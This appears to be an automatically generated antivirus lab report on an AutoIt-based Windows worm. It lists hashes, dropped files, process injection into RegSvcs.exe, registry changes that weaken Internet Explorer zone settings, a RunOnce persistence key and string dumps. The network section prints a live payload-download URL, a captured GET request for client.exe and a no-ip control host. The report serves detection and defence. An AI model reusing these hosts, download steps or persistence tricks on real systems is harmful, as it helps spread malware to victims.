Worm.Win32.AutoItGen_9a745864ca

by malwarelabrobot on July 1st, 2014 in Malware Descriptions.

Trojan.Ciusky.Gen.17 (BitDefender), Trojan.Ciusky.Gen.17 (B) (Emsisoft), Artemis!9A745864CA37 (McAfee), Trojan.ADH (Symantec), Trojan.Ciusky.Gen.17 (FSecure), Win32:Malware-gen (Avast), Trojan.Ciusky.Gen.17 (AdAware), Worm.Win32.AutoIt.FD, mzpefinder_pcap_file.YR, WormAutoItGen.YR (Lavasoft MAS)
Behaviour: Trojan, Worm, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 9a745864ca37dbf7874972f4ab2d1640
SHA1: 9abe7ac632d5f4cc11d54442ab17f3b1fbd1e9f0
SHA256: 5d852de225e1d0f6d244292455c79b0b3ab1761298aac41894bc8c4f6f05e4f3
SSDeep: 24576:kt249ZbLIusQUHrn6vGR3TzbsgnI4yZ3LR0Vu68GGUEtUMefQMmNolDWft:ezvIrNZvbfIX90k68MMPOlot
Size: 1397983 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2013-08-22 16:00:50
Analyzed on: WindowsXP SP3 32-bit


Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

No specific payload has been found.

Process activity

The Worm creates the following process(es):

%original file name%.exe:1844
file.exe:684
frmain.exe:1708
frmain.com:1216

The Worm injects its code into the following process(es):

RegSvcs.exe:452
RegSvcs.exe:1300

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1844 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\4fn6ym633u2\frmain.exe (31505 bytes)
%Documents and Settings%\%current user%\4fn6ym633u2\hjdvITkwZi.ZLD (32 bytes)
%Documents and Settings%\%current user%\4fn6ym633u2\nyspiRcH.DUF (1796 bytes)
%Documents and Settings%\%current user%\4fn6ym633u2\wzCDMtnedxz.RHV (234461 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\4fn6ym633u2\__tmp_rar_sfx_access_check_1722171 (0 bytes)

The process file.exe:684 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\ml8524t246z9pn\VQPUwIWdkn.FVS (249149 bytes)
%Documents and Settings%\%current user%\ml8524t246z9pn\RMSJF.QHL (1660 bytes)
%Documents and Settings%\%current user%\ml8524t246z9pn\dBBLgbTqhrF.ATJ (147 bytes)
%Documents and Settings%\%current user%\ml8524t246z9pn\frmain.com (28153 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\ml8524t246z9pn\__tmp_rar_sfx_access_check_1769421 (0 bytes)

The process RegSvcs.exe:452 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\file.exe (134522 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\YouTubeClientDownloader\RegSvcs.exe_Url_sx0qjkjrglsavb4sbiq34g1kvzboobwf\1.0.0.0\9ws5h8uo.newcfg (1410 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\YouTubeClientDownloader\RegSvcs.exe_Url_sx0qjkjrglsavb4sbiq34g1kvzboobwf\1.0.0.0\9ws5h8uo.tmp (0 bytes)

The process RegSvcs.exe:1300 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\A\RegSvcs.exe_Url_sx0qjkjrglsavb4sbiq34g1kvzboobwf\1.0.0.0\ldml0hk2.newcfg (1489 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\A\RegSvcs.exe_Url_sx0qjkjrglsavb4sbiq34g1kvzboobwf\1.0.0.0\ldml0hk2.tmp (0 bytes)

The process frmain.com:1216 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\ml8524t246z9pn\run.vbs (93 bytes)
%Documents and Settings%\%current user%\ml8524t246z9pn\90407.cmd (76 bytes)
%Documents and Settings%\%current user%\ml8524t246z9pn\86411.vbs (135 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\start.lnk (742 bytes)

Registry activity

The process %original file name%.exe:1844 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A0 D0 B5 9F 30 71 8E 97 F5 16 E7 3C 18 82 74 C4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\4fn6ym633u2]
"frmain.exe" = "AutoIt v3 Script"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process file.exe:684 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F9 CD 99 26 D7 3E DC F0 CC 61 46 CB 48 C2 9C 08"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\ml8524t246z9pn]
"frmain.com" = "AutoIt v3 Script"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process RegSvcs.exe:452 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 F5 5B A9 FE 03 04 6C 33 64 E8 42 64 86 BB 53"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data]
"File.exe" = "file"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process RegSvcs.exe:1300 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D 8C E0 64 72 16 7E E4 D5 F1 BA 58 59 6D B5 56"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process frmain.exe:1708 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7F 3B A5 24 78 05 AF 9B 6E E7 80 1C BE E8 DB 54"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process frmain.com:1216 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4C 91 6E D0 A2 7A D7 61 56 0D 89 45 67 7A 33 C8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

To automatically run itself each time Windows is booted, the Worm adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"ml8524t246z9pn" = "C:\DOCUME~1\"%CurrentUserName%"\ml8524t246z9pn\86411.vbs"

Dropped PE files

MD5 File path
e01ced5c12390ff5256694eda890b33a c:\Documents and Settings\"%CurrentUserName%"\4fn6ym633u2\frmain.exe
3ec4f6e247c4dea8b8884e0ccbfa14bb c:\Documents and Settings\"%CurrentUserName%"\Application Data\file.exe
6a93a4071cc7c22628af40a4d872f49b c:\Documents and Settings\"%CurrentUserName%"\ml8524t246z9pn\frmain.com

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 151934 152064 4.64444 92abffc6a56a40e47e60620bc02b652e
.rdata 159744 20291 20480 3.69144 3bc937cdae1248917ecca2bfbd21ec86
.data 180224 136672 5120 1.76024 ec6b38244c52a1c8d4b504f9e1522d10
.rsrc 319488 225496 225792 4.67585 2bd6fa5218877f623fa5f051fd64e641

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://hahahalife.us/client.exe 23.254.138.177
evoacc.no-ip.biz 78.96.130.128


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected

Traffic

GET /client.exe HTTP/1.1
Host: hahahalife.us
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Mon, 30 Jun 2014 03:31:57 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: close
ETag: "1269ee-53ac622d-9f6c17753843ce14"
Last-Modified: Thu, 26 Jun 2014 18:10:53 GMT
Content-Type: application/x-msdownload
Content-Length: 1206766
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......[...........
......:.......,.......<............... .{.....=.......;.......>.
....Rich............PE..L......R.................R..........H........p
....@.................................................................
....3...l........................................s....................
[email protected]...~Q..
.....R.................. ..`.rdata..CO...p...P...V..............@[email protected]
[email protected]...........................
....@..@..............................................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................[B..=...QV...u...
`/...E.............#...E..............E.........H....E....M...M...N@..
M...M.^d........3..|$..rJ.L$..9RuA.|$..r:.y.au4.y.ru..y.!u(.y..u".y..u
..I...u.j......u.j......u.j.X.....j...$..... ....P..U....4....t..E...@
....E...(....u..E.....E...E.]....D$.V...F..N.;N.v_.F.SUW.l.B...t.;.v.P
h.tB.U..R.........Q...F.......D. .N...;.w...S.6.......YY..u.....Q...&g
t;_].^.[^....t$... [email protected]$......P..F..V...^.........j..
p..p..R...D$.V...F..N.;N.v`.F.SUW.l.B...t.;.v.Ph.tB.U..R........'Q
<<< skipped >>>

The Worm connects to the servers at the folowing location(s):

RegSvcs.exe_452:

.text
`.sdata
.rsrc
@.reloc
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
System.Drawing.Size
'.BCi
SR%s[
Y.NTS `
9ßg
%ut[d
&*.XADC
!%X^^
hSystem.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD
System.Drawing.Bitmap
`.ze}
p-Be%D
XgK.We
v:,%F
S.KK,
eZ.FiL
OG"y%D
T@/%7Xr/
v2.0.50727
Microsoft.VisualBasic
YouTubeClientDownloader.My
MyWebServices
YouTubeClientDownloader.My.Resources
WebFileDownloader
Microsoft.VisualBasic.ApplicationServices
WindowsFormsApplicationBase
.ctor
Microsoft.VisualBasic.Devices
.cctor
get_WebServices
m_MyWebServicesObjectProvider
WebServices
System.Windows.Forms
System.Collections
System.ComponentModel
System.Resources
System.Globalization
System.Drawing
System.Configuration
ISupportInitialize
System.Security.Cryptography
System.IO
System.Text
Microsoft.VisualBasic.CompilerServices
System.Diagnostics
MsgBoxResult
MsgBoxStyle
MsgBox
Microsoft.VisualBasic.MyServices
System.Runtime.CompilerServices
System.CodeDom.Compiler
System.ComponentModel.Design
HelpKeywordAttribute
System.Reflection
ContainsKey
InvalidOperationException
System.Runtime.InteropServices
System.Threading
System.Net
WebClient
WebResponse
WebRequest
YouTubeClientDownloader.FrmMain.resources
YouTubeClientDownloader.Resources.resources
YouTubeClientDownloader.exe
8.0.0.0
My.Computer
My.User
My.Forms
My.Application
My.WebServices
System.Windows.Forms.Form
My.MyProject.Forms
4System.Web.Services.Protocols.SoapHttpClientProtocol
3System.Resources.Tools.StronglyTypedResourceBuilder
4.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
12.0.0.0
My.Settings
1.0.0.0
$53e0f45a-b8f6-4311-b7a1-06c57ebb3ab8
_CorExeMain
mscoree.dll
C:\Users\Piter\Documents\Visual Studio 2013\Projects\YouTubeClientDownloader\YouTubeClientDownloader\obj\Release\YouTubeClientDownloader.pdb
$this.Icon
\file.exe
YouTubeClientDownloader.Resources

RegSvcs.exe_452_rwx_00150000_00086000:

.text
`.sdata
.rsrc
@.reloc
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
System.Drawing.Size
'.BCi
SR%s[
Y.NTS `
9ßg
%ut[d
&*.XADC
!%X^^
hSystem.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD
System.Drawing.Bitmap
`.ze}
p-Be%D
XgK.We
v:,%F
S.KK,
eZ.FiL
OG"y%D
T@/%7Xr/
v2.0.50727
Microsoft.VisualBasic
YouTubeClientDownloader.My
MyWebServices
YouTubeClientDownloader.My.Resources
WebFileDownloader
Microsoft.VisualBasic.ApplicationServices
WindowsFormsApplicationBase
.ctor
Microsoft.VisualBasic.Devices
.cctor
get_WebServices
m_MyWebServicesObjectProvider
WebServices
System.Windows.Forms
System.Collections
System.ComponentModel
System.Resources
System.Globalization
System.Drawing
System.Configuration
ISupportInitialize
System.Security.Cryptography
System.IO
System.Text
Microsoft.VisualBasic.CompilerServices
System.Diagnostics
MsgBoxResult
MsgBoxStyle
MsgBox
Microsoft.VisualBasic.MyServices
System.Runtime.CompilerServices
System.CodeDom.Compiler
System.ComponentModel.Design
HelpKeywordAttribute
System.Reflection
ContainsKey
InvalidOperationException
System.Runtime.InteropServices
System.Threading
System.Net
WebClient
WebResponse
WebRequest
YouTubeClientDownloader.FrmMain.resources
YouTubeClientDownloader.Resources.resources
YouTubeClientDownloader.exe
8.0.0.0
My.Computer
My.User
My.Forms
My.Application
My.WebServices
System.Windows.Forms.Form
My.MyProject.Forms
4System.Web.Services.Protocols.SoapHttpClientProtocol
3System.Resources.Tools.StronglyTypedResourceBuilder
4.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
12.0.0.0
My.Settings
1.0.0.0
$53e0f45a-b8f6-4311-b7a1-06c57ebb3ab8
_CorExeMain
mscoree.dll
C:\Users\Piter\Documents\Visual Studio 2013\Projects\YouTubeClientDownloader\YouTubeClientDownloader\obj\Release\YouTubeClientDownloader.pdb
$this.Icon
\file.exe
YouTubeClientDownloader.Resources

frmain.com_1216:

.text
`.rdata
@.data
.rsrc
@.reloc
SSh4*K
PSSSSSSh
Gt.Ht$
t.jGZf;
PSSSh4
PVSSh4
j.Zf;
;K|s%f
?#%X.y
GetProcessWindowStation
operator
kernel32.dll
RegDeleteKeyExW
advapi32.dll
oleaut32.dll
Error text not found (please report)
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is compiled without UTF support
PCRE does not support \L, \l, \N{name}, \U, or \u
support for \P, \p, and \X has not been compiled
this version of PCRE is not compiled with Unicode property support
\N is not supported in a class
WSOCK32.dll
VERSION.dll
WINMM.dll
COMCTL32.dll
MPR.dll
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
WININET.dll
PSAPI.DLL
IPHLPAPI.DLL
USERENV.dll
UxTheme.dll
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
KERNEL32.dll
OpenWindowStationW
SetProcessWindowStation
CloseWindowStation
MapVirtualKeyW
EnumChildWindows
EnumWindows
VkKeyScanW
GetKeyState
GetKeyboardState
SetKeyboardState
GetAsyncKeyState
keybd_event
EnumThreadWindows
ExitWindowsEx
UnregisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegOpenKeyExW
RegCloseKey
RegCreateKeyExW
RegEnumKeyExW
RegDeleteKeyW
ADVAPI32.dll
ShellExecuteW
SHFileOperationW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
GetCPInfo
zcÁ
UQ.WP
mI.Us
\.gGL
.FFF<
,.bh9
].Whjj*
8(8.898@8
3$3(3,30343
< <%<*<0<5<:<
3 3$3(3,3034383
5$5(5,505
1 151?1|1
5.64686<6@6
3"3,3@3`3
1 1?1_1~1
21393@3{4
? ?$?(?,?
=6><>}> ?
1%1U1Z1
373D3
>!>%>)>->1>
050<061@1
<$<,<4<<<\=
8$8(8,888<8@8
mscoree.dll
combase.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
APPSKEY
789:;<=>?
FTPSETPROXY
GUICTRLRECVMSG
GUICTRLSENDMSG
GUIGETMSG
GUIREGISTERMSG
HOTKEYSET
HTTPSETPROXY
HTTPSETUSERAGENT
ISKEYWORD
MSGBOX
REGENUMKEY
SHELLEXECUTE
SHELLEXECUTEWAIT
TCPACCEPT
TCPCLOSESOCKET
TCPCONNECT
TCPLISTEN
TCPNAMETOIP
TCPRECV
TCPSEND
TCPSHUTDOWN
TCPSTARTUP
TRAYGETMSG
UDPBIND
UDPCLOSESOCKET
UDPOPEN
UDPRECV
UDPSEND
UDPSHUTDOWN
UDPSTARTUP
SendKeyDelay
SendKeyDownDelay
TCPTimeout
WINDOWSDIR
AUTOITEXE
HOTKEYPRESSED
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
Line %d:
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
"%s" (%d) : ==> %s:
\??\%s
GUI_RUNDEFMSG
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AUTOIT.ERROR
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
3, 3, 12, 0
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
%Documents and Settings%\%current user%\ml8524t246z9pn\frmain.com
http://www.autoitscript.com/autoit3/
AutoIt3.exe
AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.
Missing operator in expression."Unbalanced brackets in expression.
